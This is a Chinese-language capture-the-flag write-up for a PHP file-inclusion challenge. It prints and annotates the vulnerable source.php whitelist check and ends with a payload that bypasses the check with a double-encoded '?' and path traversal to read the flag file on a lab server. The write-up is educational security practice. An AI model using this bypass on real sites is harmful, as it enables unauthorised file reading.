方法一:打开靶场后,按f12查看源码即可看到<!--source.php-->,根据提示修改URL访问source.php
方法二:利用dirsearch对IP进行目录扫描,同样扫描出目录下的source.php
打开source.php页面,已知信息如下
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
首先通过whitelist白名单得知还有一个地址为hint.php,访问之后提示真正的flag在ffffllllaaaagggg目录下
php代码审计
<?php
highlight_file(__FILE__);//highlight_file()对文本进行php语法高亮显示
class emmm//定义一个为emmm的类
{
public static function checkFile(&$page)//调用检查后的$page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单设置:source.php、hint.php
if (! isset($page) || !is_string($page)) {//isset检测变量是否已设置并且非空,is_string检测是否为字符串,!用于将当前表达式给否定掉
echo "you can't see it";//输出
return false;//false
}
if (in_array($page, $whitelist)) {//检查数组$whitelist中是否存在$page
return true;//true
}
$_page = mb_substr(//截取$page的一部分,例如mb_substr("你好世界", 0, 2),则输出你好
$page,
0,
mb_strpos($page . '?', '?')//返还$page内?的位置
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);//对url进行解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
得知:
1. 需要通过白名单
2.$page非空,且为字符串,否则输出you can't see it
3.检查$whitelist数组中是否含有$page
4. 截取$page中?前的内容
5.会进行URL解码,在构造payload时需要进行url编码
if (! empty($_REQUEST['file'])//检查一个变量是否为空。
&& is_string($_REQUEST['file'])//检查是否为字符串
&& emmm::checkFile($_REQUEST['file'])//通过checkfile校验
) {
include $_REQUEST['file'];//包含file并且执行
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
得知:
1.变量不为空
2.变量为字符串
3.checkfile校验
4.包含并运行指定的文件
构造payload
由于会对?进行解码,需要二次编码?
这里用的是HackBar
一次
二次
不断回上一级目录
http://111.200.241.244:61735/source.php/?file=hint.php%253f../../../../../ffffllllaaaagggg
得到flag